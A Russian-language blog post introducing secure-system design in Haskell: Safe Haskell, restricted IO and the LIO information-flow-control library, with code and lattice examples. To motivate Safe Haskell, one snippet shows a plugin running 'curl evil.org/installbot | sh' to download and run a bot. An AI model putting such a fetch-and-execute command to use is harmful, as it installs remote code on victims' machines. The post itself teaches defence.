Ограниченное IO и защищенные системы (введение)

"Александр Вершилов" 2015 feb 15 tags ["пакеты", "безопасность"]

В данном посте пойдет речь про возможности для создания защищенных систем и введение во фреймворк, позволяющий писать такие программы. В дальнейшем, если будет интерес к данным вопросам, планируется углубление в данную тему.

Формулировка проблемы

Под защищенной системой предполагается система, состоящая из одного или более узлов, устойчивая к запуску недоверенного кода, который лишается возможности нарушить инварианты системы.

Где это может применяться? Простым примером может служить веб-сайт, на котором нужно запускать плагины от третьих лиц. В этом случае желательно, чтобы плагины не могли нарушить работу системы, получить привилигерованный доступ или получить доступ к данным в приложении, которые не должны быть доступны плагину.

Более сложным примером может служить система с повышенными требованиями к безопасности, где для каждого блока данных существует определенный набор правил. Правила регламентируют кто и какие операции с ними может совершать, и желательно, чтобы весь написанный код, автоматически гарантировал сохранность этих инвариантов. Это позволит при анализе кода необходимо проверять только сами правила, а не весь исходный код.

Безопасность за счет типов

Рассмотрим простейшие примеры того, как можно добиться безопасности. Поскольку Haskell является безопасным языком и все возможные эффекты выражены в типах функций, то можно предположить, что функции без нежелательных эффектов являются безопасными.

Будем рассматривать первый пример - сайт, на который мы ходим добавить сервис переводов. Пусть плагин предоставляет следующую функцию:

toRussian :: ByteString -> ByteString

Исходя из типов данному коду можно доверять, поскольку он не содержит эффектов, и в худшем случае текст страницы будет сломан. Какие с ним могут быть проблемы:

код может быть плохо написан и потреблять много ресурсов (выходит за рамки данной статьи.
выполнение кода может не завершаться:
```
 toJerkish :: ByteString -> ByteString
 toJerkish xs 
   | 'a' <- B.head xs = toRussian xs    -- KABOOM!
   | otherwise        = saneStuff
```
естественно, это печальное поведение, но, опять же не приводит к нарушению гарантий безопасности и мы его не рассматриваем.
Но возможен и такой случай:
```
  toJerkish :: ByteString -> ByteString
  toJerkish = unsafePerformIO $ do
      system "curl evil.org/installbot | sh"
      return "ЙА пАиМел тИбЯ"
```
Данный код, ествественно, приводит к проблемам в безопасности и его бы хотелось исключить.

Для третьего случая есть решение - использование расширения Safe Haskell.

Safe Haskell

Начиная с ghc версии 7.2 haskell предоставляет расширение Safe Haskell, включающееся опцией -XSafe. Это расширение не позволяет включать в код небезопасные модули, например System.IO.Unsafe, таким образом использование unsafePerformIO и других подобных функций будет невозможно.

В дополнение расширение позволяет использовать безопасные импорты, т.е.

import safe Evil.Code

В этом случае подключаемый модуль будет проверен на безопасность (т.е. то, что он не использует небезопасные модули).

Однако, возникает вопрос, как же можно использовать модуль, работающий с типом ByteString, если для его реализации используются небезопасные функции?

head :: {- Lazy -} ByteString -> Word8
head Empty       = errorEmptyList "head"
head (Chunk c _) = S.unsafeHead c

unsafeHead :: {- Strict -} ByteString -> Word8
unsafeHead (PS x s l) = assert (l > 0) $
    inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s

Рассмотрим, как в Haskell решается эта проблема. Модули, помеченные как безопасные, могут использовать, в свою очередь, только безопасные модули. Существует два типа безопасных модулей:

те, безопасность которых доказана компилятором -XSafe;
помеченные автором, как безопасные (-XTrustworthy).

Таким образом такие модули как Data.ByteString могут быть собраны с флагом -XTrustworthy. Обычно для решения таких вопросов все небезопасные функции помещают в отдельный модуль, например Data.ByteString.Unsafe. Таким образом доказывается, что функции экспортируемые Data.ByteString, не могут быть использованы небезопасным образом, даже в том случае, когда внутренние модули используют небезопасные функции.

Естественно, существуют механизмы управления доверием автору модуля, при помощи которых можно указать, доверять ли флагу -XTrustworthy. Флаг -trust Pkg, -distruct Pkg, -distrust-all-packages.

Использование ограниченного IO

Проблема с чистыми функциями может считаться отчасти решенной, но что если для работы функции действительно необходимы IO эффекты. Например, сервис переводит реальный язык и должен общаться с сервером словаря?

Решение данной проблемы заключается в использовании ограниченного IO (RIO) небезопасный код реализует функцию ввода-вывода:

googleTranslate :: Language -> L.ByteString -> RIO L.ByteString

Но использует монаду RIO. Таким образом доверенный модуль реализует функции RIO для доступа к сети, проверяет параметры и отклоняет опасные операции.

{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where

-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO (IO a) -- constructor is not exported !
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io

instance Monad RIO where
    return = UnsafeRIO . return
    m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k

-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = {- Implement some policy based on file name -}

readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
  ok <- pathOK file
  if ok then Prelude.readFile file else return ""

Примеры политик для RIO:

доступ к файловой системе предоставляется только в песочнице (защита файловой системы)
запрет на запуск других программ (поскольку они могут не иметь ограничений RIO)
разрешать коннекты только к 80 порту известных серверов (защита от рассылки спама и атак на внешние сервисы)
запрет на доступ к устройствам (микрофону, камере, колонкам, …)
политики схожие с политиками для Java в браузере

Но, все же решение с RIO не достаточно, если мы вспомним все варианты использования, которые мы хотим решить.

что если web-сайт содержит приватные данные, например письма?
атакующий может сохранить письма в песочнице (разрешено)
когда приходит запрос на перевод специальной строки - вернуть сохраненный email (разрешено)

Таким образом, очевидно что для того, чтобы полноценно решить проблему безопасности, необходимо следить за тем, какая информация может быть опубликована, а какая нет. Так, например, разрешать отдавать в сеть публичные данные, и запрещать приватные. Для решения этой проблемы существует решение: Децентрализовнный Контроль За потоками информации (Decentralized Information Flow Control / DIFC)

Тегированное IO

Команда из Стенфорда предлагает следующее решение - библиотеку LIO. Корни данного решения уходят в военные приложения и приложения работающие с секретными данными. И заключается оно в следующем:

каждому блоку информации приписывается тег;
каждому процессу/потоку приписывается тег;
все теги имеют частичный порядок по отношению ⊑ (“может переходить к” / “can flow to”)

Пример: расмотрим процесс vim с меткой L_v, и файл с меткой L_f; если файл читается то система требует, чтобы выполнялось соотношение L_f ⊑ L_v (файл может переходить к редактору); если файл записывается, то требуется, чтобы выполнялось соотношение L_v ⊑ L_f; если файл и пишется и читается, то L_v ⊑ L_f ⊑ L_v.

Подобные соотношения являются тразитивными, что позволяет гораздо лучше оценивать безопасность. Предположим у нас есть файл L_f, при этом этот файл нельзя передавать по сети (например приватный ключ), т.е. есть соотношение L_f! ⊑ L_n . Теперь пусть процесс P читает данный файл, таким образом требуется L_f ⊑ L_P. Затем данный процесс хочет работать с сетью, что предполагает L_P ⊑ L_n, однако L_f ⊑ L_p ∧ L_p ⊑ L_n ⇒ L_f ⊑ L_n - противоречие, т.е. L_P! ⊑ L_N. Следовательно, процесс, получивший доступ к подобному файлу, не может общаться с сетью, и наоборот, если процесс общается с сетью, то он не может получить доступ к файлу.

Представим двух пользвателей, A и B, публичную информацию обозначим тегом L_∅, приватные данные A - L_A, приватные данные B - L_B соответсвенно. Что произойдёт, если смешать приватные данные A и B в одном документе?. И A и B должны огорчатся если такой документ будет опубликован, соотвественно требуется, чтобы он был, как минимум, настолько же ограничен, насколько ограничены L_A и L_B. Для этого используется нижняя граница (или lub или join) L_A и L_B, которая записывается как L_A ⊔ L_B.

    A ⊔ B
   /     \
 ⊑/       \⊑ 
 /         \
A           B
 \         /
 ⊑\       /⊑ 
   \     /
      ∅

Каждый процесс может обладать набором привилегий, используя привелению p, изменяет требование L_F ⊑ _pL_proc на чтение и дополнительно L_proc ⊑ _pL_F на запить файла. Операция ⊑ _p читается как “с учетом привигений р может переходить к” (``can flow under privileges p’’) и дозволяет больше, чем ⊑ . Идея этой операции заключется в том, что вы можете управлять уместными привилегиями.

Пример привилегий: опять рассмотрим пример с двумя пользователями, Очевидно, что должны выполняться условия A ⊑ _aL_∅ и L_B ⊑ _bL_∅, т.е. пользователи могут создавать публичную или рассекречивать собственную информацию. Пользователи могут частично рассекречивать информацию, т.е.: L_AB ⊑ _aL_B и L_AB ⊑ _bL_A

При работе с тегированными элементами обычно производится не проверка ограничений, а повышение текущего тега процесса так чтобы могли быть исполнены все действия. Так же можно задавать максимальный уровень доверия (clearance), выше которого доверие процесса не может быть повышено и действия приведут к исключению.

Пример возможных правил

Введем решетку:

             1
           /    \
          /      \
... ->   B_i^j -> B_j^k -> ...
       /     \   /
      A_i     A_j  ...
       \      /
        \    /
           0

С типами 0, A_i, B_i^j, 1 – где:

0 - тег для информации, к которой никто не получал доступ,
A_i - тег для информации, к которой получал доступ только один участник i,
B_i^j – тег для информации, доступной двум участникам (i и j),
1 -тег для информации, доступной неограниченному количеству участников.

С помощью этой решетки мы можем ограничить процессу возможность получения данных от разных процессов:

test i s = do
    a1 <- evalLIO (newLIORef (A 1) "M1") (LIOState (A 1) O)
    a2 <- evalLIO (newLIORef (A 2) "M2") (LIOState (A 2) O)
    a3 <- evalLIO (newLIORef (A 3) "M3") (LIOState (A 3) O)
    let state = [("A",a1),("B",a2),("C",a3)]
    runLIO (go (i::Int) state) (LIOState (A 1) s)
  where 
    go 0 x = mailboxRead x "A"
    go 1 x = mailboxRead x "B" >> go 0 x
    go 2 x = mailboxRead x "C" >> go 1 x

 -- запускаем тест, без ограничения (максимальный уровень доверия)
 *Main> test 0 O
 (Just "M1",LIOState {lioLabel = A 1, lioClearance = O})\
 -- программа получала доступ только к своей ячейке - метка не изменяется
 *Main> test 1 O
 (Just "M1",LIOState {lioLabel = B 1 2, lioClearance = O})
 -- программа получала доступ к двум ячейкам - соотвественно метка изменилась
 *Main> test 2 O
 (Just "M1",LIOState {lioLabel = O, lioClearance = O})
 -- программа получала доступ к трем ячейчас - соотвественно метка стала 1 (One)

 -- Теперь запустим тесты с огрниченным уровнем доверия
 *Main> test 2 O
 (Just "M1",LIOState {lioLabel = O, lioClearance = O})
 *Main> test 0 (B 1 2)
 (Just "M1",LIOState {lioLabel = A 1, lioClearance = B 1 2})
 *Main> test 1 (B 1 2)
 (Just "M1",LIOState {lioLabel = B 1 2, lioClearance = B 1 2})
 *Main> test 2 (B 1 2)
 (*** Exception: LabelError {lerrContext = ["readLIORef"], lerrFailure = "taint", lerrCurLabel = A 1, lerrCurClearance = B 1 2, lerrPrivs = [], lerrLabels = [A 3]}
 -- получили исключение в связи с попыткой превышения прав.
 *Main> test 1 (B 1 3)
 (*** Exception: LabelError {lerrContext = ["readLIORef"], lerrFailure = "taint", lerrCurLabel = A 1, lerrCurClearance = B 1 3, lerrPrivs = [], lerrLabels = [A 2]}

В дальнейших постах могут быть рассмотрены и более сложные возможности применения библиотеки, такие как:

* использование привилегий;
* более сложные правила для тегов, использующиеся для описания сложных систем;
* полный пример небольшого защищенного сервиса.

Если кому-нибудь интересно, то можно продолжить.

Как решаются подобные проблемы в других системах?

Как мы могли заметить, возможность создания такого фреймворка полагается на мощную систему типов, позволяющую контролировать эффекты, чистоту языка и специальные расширения компилятора.

Подобного эффекта можно добиться в языках, которые дают возможность использовать песочницы и позволяют подключить библиотеки для АОП (аспектно ориентированного программирования). Но такой подход значительно усложняет архитектуру приложения.

В операционных системах так же существуют специльные решения, направленные на решение той же проблемы, например selinux.

В целом же защищенная система должна включать защиты на всех уровнях, возможная контейнеризация, selinux, безопасность внутри программы, только в этом случае решение может быть достигнуто. Но подобные библиотеки и возможности языка существенно повышают качество системы.